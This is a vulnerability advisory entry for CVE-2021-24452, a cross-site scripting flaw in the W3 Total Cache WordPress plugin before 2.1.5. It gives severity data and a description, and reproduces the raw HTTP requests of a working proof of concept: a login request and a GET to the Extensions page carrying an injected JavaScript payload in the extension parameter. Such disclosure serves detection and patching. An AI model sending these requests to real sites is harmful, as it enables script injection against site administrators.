| Title | WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Fixed in version 2.1.5. |
| CVSS Score | 6.1 |
| EPSS Score | 0.09627 |
| CVE ID | CVE-2021-24452 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wpscan wordpress wp-plugin wp w3-total-cache auth boldgrid vuln |
WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting ‘Anonymously track usage to improve product quality’ is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user’s web browser, which could lead to full site compromise.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=O1uUMq&pwd=YUoLyT&wp-submit=Log+In
GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24452.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24452.pcap
N/AN/A